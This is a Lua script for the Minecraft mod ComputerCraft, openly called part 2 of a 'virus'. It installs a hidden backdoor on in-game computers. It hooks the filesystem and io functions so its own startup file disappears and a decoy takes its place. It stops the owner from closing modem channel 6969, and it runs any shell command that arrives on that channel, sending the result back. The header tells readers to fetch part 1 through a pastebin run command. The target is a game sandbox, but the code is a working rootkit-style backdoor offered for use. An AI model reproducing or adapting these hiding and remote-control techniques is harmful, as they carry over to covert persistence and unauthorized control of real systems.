ComputerCraft "Virus" - Part 2 [FIXED]

--PLEASE RUN THE FIRST PART ON THE COMPUTER (pastebin run QzCdJgbn)
--
--HOW TO USE:
--  * Use another computer and wrap the modem using the peripheral API (RedNet does not work)
--  * Send shell commands on channel 6969 and have fun!
--
--This is where the fun begins, part 2 of the "virus".
--What it does / TODO:
--  * Run TLCO to get to the top level
--  * Modify fs API to not show myself and identify "/newStartup" as "/startup"
--  * Act as a loop "parent" to CraftOS shell
--  * Actually add another step to the normal loop, containing the code that listens for remote commands and hide these modem messages from every other coroutine
--  * Run the harmless /startup (if there is one)
--
--Problems with this that I can't avoid:
--  * The modem lights up which might look a bit obvious
--  * You can't create a file called /newStartup and trying to interact with it just throws custom errors
--
--THINGS I WILL NOT ADD/FIX (but are pretty easy to do though):
--  * Inserting a disk with a startup file prevents the virus from running (because on default settings, computers run the floppy disk startup file first)

--Run TLCO

local oldError = _G.printError
local ev = {}
function _G.printError()

    _G.printError = oldError

    local oldList = _G.fs.list
    local oldExists = _G.fs.exists
    local oldMove = _G.fs.move
    local oldCopy = _G.fs.copy
    local oldDelete = _G.fs.delete
    local oldOpen = _G.fs.open
    local oldFind = _G.fs.find
    local oldIOOpen = _G.io.open
    function _G.fs.list(path)
        if path == "" or path == "/" then
            local files = oldList(path)
            local removeIndex = -1
            local moveIndex = -1
            for each, file in ipairs(files) do
                if file == "startup" then
                    --This is the "virus"
                    removeIndex = each
                elseif file == "newStartup" then
                    moveIndex = each
                end
            end
            if removeIndex > 0 then
                table.remove(files, removeIndex)
            end
            if moveIndex > 0 then files[moveIndex] = "startup" end
            return files
        else
            return oldList(path)
        end
    end

    function _G.fs.exists(path)
        if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
        if path == "/newStartup" then
            return false
        elseif path == "/startup" then
            return oldExists("/newStartup")
        else
            return oldExists(path)
        end
    end

    function _G.fs.move(op, np)
        if string.sub(op, 1, 1) ~= "/" then op = "/"..op end
        if string.sub(np, 1, 1) ~= "/" then np = "/"..np end
        if op == "/newStartup" or np == "/newStartup" then
            return
        elseif op == "/startup" then
            if np == "/startup" then np = "/newStartup" end
            return oldMove("/newStartup", np)
        elseif np == "/startup" then
            if op == "/startup" then op = "/newStartup" end
            return oldMove(op, "/newStartup")
        else
            return oldMove(op, np)
        end
    end

    function _G.fs.copy(op, np)
        if string.sub(op, 1, 1) ~= "/" then op = "/"..op end
        if string.sub(np, 1, 1) ~= "/" then np = "/"..np end
        if op == "/newStartup" or np == "/newStartup" then
            return
        elseif op == "/startup" then
            if np == "/startup" then np = "/newStartup" end
            return oldCopy("/newStartup", np)
        elseif np == "/startup" then
            if op == "/startup" then op = "/newStartup" end
            return oldCopy(op, "/newStartup")
        else
            return oldCopy(op, np)
        end
    end

    function _G.fs.delete(path)
        if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
        if path == "/startup" then
            return oldDelete("/newStartup")
        elseif path == "/newStartup" then
            return
        else
            return oldDelete(path)
        end
    end

    function _G.fs.open(path, mode)
        if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
        if path == "/startup" then
            return oldOpen("/newStartup", mode)
        elseif path == "/newStartup" then
            return nil, "internal error"
        else
            return oldOpen(path, mode)
        end
    end

    function _G.io.open(path, mode)
        if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
        if path == "/startup" then
            return oldIOOpen("/newStartup", mode)
        elseif path == "/newStartup" then
            return nil, "internal error"
        else
            return oldIOOpen(path, mode)
        end
    end
    local modem = peripheral.find("modem")
    --Disallow closing the channel
    if modem then
        local oldModemClose = _G.modem.close
        function _G.modem.close(port)
            if port == 6969 then
                return
            else
                return oldModemClose(port)
            end
        end
    end



    if modem then
        --If no modem is attached, still hide myself and just not listen for any messages
        modem.open(6969) --Very funny
    end
    local shellRoutine = coroutine.create(function()
        os.run({}, "rom/programs/advanced/multishell")
        os.run({}, "rom/programs/shutdown")
    end)
    local rednetRoutine = coroutine.create(function()
        rednet.run()
    end)
    while true do
        --just in case
        if modem and not modem.isOpen(6969) then modem.open(6969) end
        if modem and #ev > 0 and ev[1] == "modem_message" and ev[3] == 6969 then
            local success = shell.run(ev[5])
            modem.transmit(ev[4], 6969, tostring(success))
            ev = {}
        end
        pcall(coroutine.resume, shellRoutine, unpack(ev))
        pcall(coroutine.resume, rednetRoutine, unpack(ev))
        if coroutine.status(shellRoutine) == "dead" then
            os.reboot()
        end
        ev = {os.pullEventRaw()}
    end
end

--Aaaand go
os.queueEvent("terminate")